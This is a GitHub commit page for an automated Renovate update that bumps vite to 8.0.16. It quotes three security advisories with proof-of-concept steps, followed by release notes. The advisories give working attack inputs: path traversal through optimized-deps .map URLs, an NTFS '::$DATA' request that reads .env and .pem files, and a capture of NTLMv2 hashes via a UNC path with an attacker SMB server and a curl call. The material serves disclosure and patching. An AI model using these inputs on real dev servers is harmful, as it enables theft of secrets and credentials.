Commit 71a238e
authored
chore(deps): update dependency vite to v8.0.16 [security] (UI5#8698)
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`8.0.14` →
`8.0.16`](https://renovatebot.com/diffs/npm/vite/8.0.14/8.0.16) |

|

|
---
### Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling
[CVE-2026-39365](https://nvd.nist.gov/vuln/detail/CVE-2026-39365) /
[GHSA-4w7w-66w2-5vf9](https://redirect.github.com/advisories/GHSA-4w7w-66w2-5vf9)
<details>
<summary>More information</summary>
#### Details
##### Summary
Any files ending with `.map` even out side the project can be returned
to the browser.
##### Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using `--host`
or [`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host))
- have a sensitive content in files ending with `.map` and the path is
predictable
##### Details
In Vite v7.3.1, the dev server’s handling of `.map` requests for
optimized dependencies resolves file paths and calls `readFile` without
restricting `../` segments in the URL. As a result, it is possible to
bypass the
[`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict)
allow list and retrieve `.map` files located outside the project root,
provided they can be parsed as valid source map JSON.
##### PoC
1. Create a minimal PoC sourcemap outside the project root
```bash
cat > /tmp/poc.map <<'EOF'
{"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
EOF
```
2. Start the Vite dev server (example)
```bash
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
```
3. Confirm that direct `/@&UI5#8203;fs` access is blocked by `strict`
(returns 403)
<img width="4004" height="1038" alt="image"
src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab"
/>
4. Inject `../` segments under the optimized deps `.map` URL prefix to
reach `/tmp/poc.map`
<img width="2790" height="846" alt="image"
src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2"
/>
#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
#### References
-
[https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9)
-
[https://github.com/vitejs/vite/pull/22161](https://redirect.github.com/vitejs/vite/pull/22161)
-
[https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694](https://redirect.github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694)
-
[https://github.com/vitejs/vite/releases/tag/v6.4.2](https://redirect.github.com/vitejs/vite/releases/tag/v6.4.2)
-
[https://github.com/vitejs/vite/releases/tag/v7.3.2](https://redirect.github.com/vitejs/vite/releases/tag/v7.3.2)
-
[https://github.com/vitejs/vite/releases/tag/v8.0.5](https://redirect.github.com/vitejs/vite/releases/tag/v8.0.5)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-39365](https://nvd.nist.gov/vuln/detail/CVE-2026-39365)
-
[https://github.com/advisories/GHSA-4w7w-66w2-5vf9](https://redirect.github.com/advisories/GHSA-4w7w-66w2-5vf9)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-4w7w-66w2-5vf9)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### vite: `server.fs.deny` bypass on Windows alternate paths
[CVE-2026-53571](https://nvd.nist.gov/vuln/detail/CVE-2026-53571) /
[GHSA-fx2h-pf6j-xcff](https://redirect.github.com/advisories/GHSA-fx2h-pf6j-xcff)
<details>
<summary>More information</summary>
#### Details
##### Summary
The contents of files that are specified by
[`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny)
can be returned to the browser on Windows.
##### Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using `--host`
or [`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host))
- the sensitive file exists in the allowed directories specified by
[`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow)
- either of:
- the sensitive file exists in an NTFS volume
- the dev server is running on Windows and the sensitive file exists in
a volume that 8.3 short name generation is enabled (it is enabled by
default on system volumes)
##### Details
Vite’s dev server denies direct access to sensitive files through
`server.fs.deny`, including entries such as `.env`, `.env.*`, and
`*.{crt,pem}`. However, on Windows, the deny logic does not correctly
normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as `/.env::$DATA?raw` are treated as
allowed paths, while Windows resolves them to the original file's
default data stream.
Similar to that, Windows allows accessing a file using a different name
with the 8.3 short name compatibility feature. Vite did not reject
accessing files via them.
##### PoC
```bash
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
```
Access via browser at `http://localhost:5173/.env::$DATA?raw`
<img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a"
src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170"
/>
Example expected result:
- `/.env::$DATA?raw` returns the contents of `.env`
- `/tls.pem::$DATA?raw` returns the contents of `tls.pem`
#### Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
#### References
-
[https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff)
-
[https://github.com/advisories/GHSA-fx2h-pf6j-xcff](https://redirect.github.com/advisories/GHSA-fx2h-pf6j-xcff)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-fx2h-pf6j-xcff)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### launch-editor: NTLMv2 hash disclosure via UNC path handling on
Windows
[CVE-2026-53632](https://nvd.nist.gov/vuln/detail/CVE-2026-53632) /
[GHSA-v6wh-96g9-6wx3](https://redirect.github.com/advisories/GHSA-v6wh-96g9-6wx3)
<details>
<summary>More information</summary>
#### Details
##### Summary
The `launch-editor` NPM package accesses arbitrary paths including
Windows UNC paths. When a UNC path is opened, Windows automatically
attempts NTLM authentication to the remote host, causing the user’s
NTLMv2 password hash to be leaked to an attacker-controlled SMB server.
This can result in credential compromise through offline hash cracking.
##### Impact
If the following conditions are met, an attacker can get the NTLMv2
password hash on the computer that is using the `launch-editor`:
- using Windows
- NTLM is not disabled ([it is recommended to
disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526),
while it's still enabled by default)
- the user accesses the attackers website that sends request to a
middleware using `launch-editor`
- the server that has the middleware using `launch-editor` is running
- the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can
be identified through offline hash cracking, potentially leading to
further compromise of developer accounts or internal systems.
##### Details
`launch-editor` accepts file paths without validating or restricting
Windows UNC paths such as:
```
\\attacker-host\share
```
On Windows systems, accessing a UNC path triggers an automatic NTLM
authentication attempt to the remote SMB server. No user interaction or
warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the
victim’s NTLMv2 hash is transmitted to the attacker. The attacker can
then capture the hash and perform offline password cracking. Successful
cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server
using `launch-editor` to develop code locally, send them a link and grab
their NTLMv2 hash.
##### PoC
From the attacker side, we will setup an SMB server. I personally used
[Impacket's
smbserver.py](https://redirect.github.com/fortra/impacket/blob/master/examples/smbserver.py),
but you could use something like
[Responder](https://redirect.github.com/lgandx/Responder) for this as
well. For keeping it simple, we will use `smbserver.py` here.
First, let's create a directory to serve as an SMB share.
```
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
```
Then, start the SMB server.
```
$ sudo smbserver.py -smb2support -debug share /tmp/data
```
Now, run any project that uses the launch-editor package. I have setup a
simple "Hello world" project that uses Vite to do this. Then run the
project locally (`vite`).
Now last, we will open a browser window and navigate to the URL used by
the launch-editor package to trigger the NTLM authentication. Or we can
use `curl` to achieve the same.
```
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
```
Note the IP address in the HTTP request, and make sure it connects to
the IP address of the SMB server. Now we can look at the logs of
`smbserver.py` and see the NTLMv2 hash coming in.
<img width="1916" height="277" alt="2026-01-30_10-58"
src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368"
/>
#### Severity
- CVSS Score: 5.5 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H`
#### References
-
[https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3](https://redirect.github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3)
-
[https://github.com/advisories/GHSA-v6wh-96g9-6wx3](https://redirect.github.com/advisories/GHSA-v6wh-96g9-6wx3)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-v6wh-96g9-6wx3)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>vitejs/vite (vite)</summary>
###
[`v8.0.16`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8016-2026-06-01-small)
[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v8.0.15...v8.0.16)
##### Bug Fixes
- **deps:** reject UNC paths for launch-editor-middleware
([#&UI5#8203;22571](https://redirect.github.com/vitejs/vite/issues/22571))
([50b9512](https://redirect.github.com/vitejs/vite/commit/50b951225bbf6151eb84a3ad5a454908ab4a76c9))
- reject windows alternate paths
([#&UI5#8203;22572](https://redirect.github.com/vitejs/vite/issues/22572))
([dc245c7](https://redirect.github.com/vitejs/vite/commit/dc245c71e5007ea4d891a025e2d69ac96c736546))
###
[`v8.0.15`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8015-2026-06-01-small)
[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v8.0.14...v8.0.15)
##### Features
- send 408 on request timeout
([#&UI5#8203;22476](https://redirect.github.com/vitejs/vite/issues/22476))
([c85c9ee](https://redirect.github.com/vitejs/vite/commit/c85c9eeb9aaf41f477b48b057146887bd5620797))
- update rolldown to 1.0.3
([#&UI5#8203;22538](https://redirect.github.com/vitejs/vite/issues/22538))
([646dbed](https://redirect.github.com/vitejs/vite/commit/646dbedd2870f8ec48df0321177d8aa64bbd1575))
##### Bug Fixes
- capitalize error messages and remove spurious space in parse error
([#&UI5#8203;22488](https://redirect.github.com/vitejs/vite/issues/22488))
([85a0eff](https://redirect.github.com/vitejs/vite/commit/85a0eff1c82bbb7c99a0fe8e63704316578a40d3))
- **deps:** update all non-major dependencies
([#&UI5#8203;22511](https://redirect.github.com/vitejs/vite/issues/22511))
([2686d7d](https://redirect.github.com/vitejs/vite/commit/2686d7d0b722402204d3bcc687a87adea1bcf9fa))
- **dev:** fix html-proxy cache key mismatch for /@&UI5#8203;fs/ HTML paths
([#&UI5#8203;21762](https://redirect.github.com/vitejs/vite/issues/21762))
([47c4213](https://redirect.github.com/vitejs/vite/commit/47c4213f134f562c41ed7c031e4788510cf7e31e))
- **glob:** error on relative glob in virtual module when no files match
([#&UI5#8203;22497](https://redirect.github.com/vitejs/vite/issues/22497))
([5c8e98f](https://redirect.github.com/vitejs/vite/commit/5c8e98f8b584ac5d42f0f9b8580c49792213b13c))
- **optimizer:** close the rolldown bundle when write() rejects
([#&UI5#8203;22528](https://redirect.github.com/vitejs/vite/issues/22528))
([e3cfb9d](https://redirect.github.com/vitejs/vite/commit/e3cfb9deecff563550fa1b8abd27656b8b292815))
- **resolve:** provide onWarn for viteResolvePlugin in JS plugin
containers
([#&UI5#8203;22509](https://redirect.github.com/vitejs/vite/issues/22509))
([40985f1](https://redirect.github.com/vitejs/vite/commit/40985f1c09b7696e594e6c5695fbc315d2da2c83))
##### Miscellaneous Chores
- **deps:** update rolldown-related dependencies
([#&UI5#8203;22566](https://redirect.github.com/vitejs/vite/issues/22566))
([3052a67](https://redirect.github.com/vitejs/vite/commit/3052a67d9350f4c5076ab1c222c4a21a589cbcdd))
##### Code Refactoring
- correct logic in `collectAllModules` function
([#&UI5#8203;22562](https://redirect.github.com/vitejs/vite/issues/22562))
([6978a9c](https://redirect.github.com/vitejs/vite/commit/6978a9ceb942c4f5e211d52b8a1e569f8a65c80c))
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/UI5/webcomponents-react).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMTkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIxOS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>1 parent 5ca96d9 commit 71a238e
2 files changed
Lines changed: 79 additions & 79 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
110 | 110 | | |
111 | 111 | | |
112 | 112 | | |
113 | | - | |
| 113 | + | |
114 | 114 | | |
115 | 115 | | |
116 | 116 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
3735 | 3735 | | |
3736 | 3736 | | |
3737 | 3737 | | |
3738 | | - | |
3739 | | - | |
3740 | | - | |
3741 | | - | |
| 3738 | + | |
| 3739 | + | |
| 3740 | + | |
| 3741 | + | |
3742 | 3742 | | |
3743 | 3743 | | |
3744 | 3744 | | |
| |||
3994 | 3994 | | |
3995 | 3995 | | |
3996 | 3996 | | |
3997 | | - | |
3998 | | - | |
3999 | | - | |
| 3997 | + | |
| 3998 | + | |
| 3999 | + | |
4000 | 4000 | | |
4001 | 4001 | | |
4002 | 4002 | | |
4003 | 4003 | | |
4004 | | - | |
4005 | | - | |
4006 | | - | |
| 4004 | + | |
| 4005 | + | |
| 4006 | + | |
4007 | 4007 | | |
4008 | 4008 | | |
4009 | 4009 | | |
4010 | 4010 | | |
4011 | | - | |
4012 | | - | |
4013 | | - | |
| 4011 | + | |
| 4012 | + | |
| 4013 | + | |
4014 | 4014 | | |
4015 | 4015 | | |
4016 | 4016 | | |
4017 | 4017 | | |
4018 | | - | |
4019 | | - | |
4020 | | - | |
| 4018 | + | |
| 4019 | + | |
| 4020 | + | |
4021 | 4021 | | |
4022 | 4022 | | |
4023 | 4023 | | |
4024 | 4024 | | |
4025 | | - | |
4026 | | - | |
4027 | | - | |
| 4025 | + | |
| 4026 | + | |
| 4027 | + | |
4028 | 4028 | | |
4029 | 4029 | | |
4030 | 4030 | | |
4031 | 4031 | | |
4032 | | - | |
4033 | | - | |
4034 | | - | |
| 4032 | + | |
| 4033 | + | |
| 4034 | + | |
4035 | 4035 | | |
4036 | 4036 | | |
4037 | 4037 | | |
4038 | 4038 | | |
4039 | | - | |
4040 | | - | |
4041 | | - | |
| 4039 | + | |
| 4040 | + | |
| 4041 | + | |
4042 | 4042 | | |
4043 | 4043 | | |
4044 | 4044 | | |
4045 | 4045 | | |
4046 | | - | |
4047 | | - | |
4048 | | - | |
| 4046 | + | |
| 4047 | + | |
| 4048 | + | |
4049 | 4049 | | |
4050 | 4050 | | |
4051 | 4051 | | |
4052 | 4052 | | |
4053 | | - | |
4054 | | - | |
4055 | | - | |
| 4053 | + | |
| 4054 | + | |
| 4055 | + | |
4056 | 4056 | | |
4057 | 4057 | | |
4058 | 4058 | | |
4059 | 4059 | | |
4060 | | - | |
4061 | | - | |
4062 | | - | |
| 4060 | + | |
| 4061 | + | |
| 4062 | + | |
4063 | 4063 | | |
4064 | 4064 | | |
4065 | 4065 | | |
4066 | 4066 | | |
4067 | | - | |
4068 | | - | |
4069 | | - | |
| 4067 | + | |
| 4068 | + | |
| 4069 | + | |
4070 | 4070 | | |
4071 | 4071 | | |
4072 | 4072 | | |
4073 | 4073 | | |
4074 | | - | |
4075 | | - | |
4076 | | - | |
| 4074 | + | |
| 4075 | + | |
| 4076 | + | |
4077 | 4077 | | |
4078 | 4078 | | |
4079 | 4079 | | |
4080 | 4080 | | |
4081 | | - | |
4082 | | - | |
4083 | | - | |
| 4081 | + | |
| 4082 | + | |
| 4083 | + | |
4084 | 4084 | | |
4085 | 4085 | | |
4086 | 4086 | | |
| |||
4089 | 4089 | | |
4090 | 4090 | | |
4091 | 4091 | | |
4092 | | - | |
4093 | | - | |
4094 | | - | |
| 4092 | + | |
| 4093 | + | |
| 4094 | + | |
4095 | 4095 | | |
4096 | 4096 | | |
4097 | 4097 | | |
4098 | 4098 | | |
4099 | | - | |
4100 | | - | |
4101 | | - | |
| 4099 | + | |
| 4100 | + | |
| 4101 | + | |
4102 | 4102 | | |
4103 | 4103 | | |
4104 | 4104 | | |
| |||
20356 | 20356 | | |
20357 | 20357 | | |
20358 | 20358 | | |
20359 | | - | |
20360 | | - | |
20361 | | - | |
20362 | | - | |
20363 | | - | |
20364 | | - | |
20365 | | - | |
20366 | | - | |
20367 | | - | |
20368 | | - | |
20369 | | - | |
20370 | | - | |
20371 | | - | |
20372 | | - | |
20373 | | - | |
20374 | | - | |
20375 | | - | |
20376 | | - | |
20377 | | - | |
20378 | | - | |
| 20359 | + | |
| 20360 | + | |
| 20361 | + | |
| 20362 | + | |
| 20363 | + | |
| 20364 | + | |
| 20365 | + | |
| 20366 | + | |
| 20367 | + | |
| 20368 | + | |
| 20369 | + | |
| 20370 | + | |
| 20371 | + | |
| 20372 | + | |
| 20373 | + | |
| 20374 | + | |
| 20375 | + | |
| 20376 | + | |
| 20377 | + | |
| 20378 | + | |
20379 | 20379 | | |
20380 | 20380 | | |
20381 | 20381 | | |
| |||
20410 | 20410 | | |
20411 | 20411 | | |
20412 | 20412 | | |
20413 | | - | |
| 20413 | + | |
20414 | 20414 | | |
20415 | 20415 | | |
20416 | 20416 | | |
| |||
21843 | 21843 | | |
21844 | 21844 | | |
21845 | 21845 | | |
21846 | | - | |
| 21846 | + | |
21847 | 21847 | | |
21848 | 21848 | | |
21849 | 21849 | | |
| |||
22437 | 22437 | | |
22438 | 22438 | | |
22439 | 22439 | | |
22440 | | - | |
| 22440 | + | |
22441 | 22441 | | |
22442 | 22442 | | |
22443 | 22443 | | |
| |||
23099 | 23099 | | |
23100 | 23100 | | |
23101 | 23101 | | |
23102 | | - | |
23103 | | - | |
23104 | | - | |
| 23102 | + | |
| 23103 | + | |
| 23104 | + | |
23105 | 23105 | | |
23106 | 23106 | | |
23107 | 23107 | | |
23108 | 23108 | | |
23109 | 23109 | | |
23110 | | - | |
23111 | | - | |
| 23110 | + | |
| 23111 | + | |
23112 | 23112 | | |
23113 | 23113 | | |
23114 | 23114 | | |
| |||
23152 | 23152 | | |
23153 | 23153 | | |
23154 | 23154 | | |
23155 | | - | |
| 23155 | + | |
23156 | 23156 | | |
23157 | 23157 | | |
23158 | 23158 | | |
| |||
0 commit comments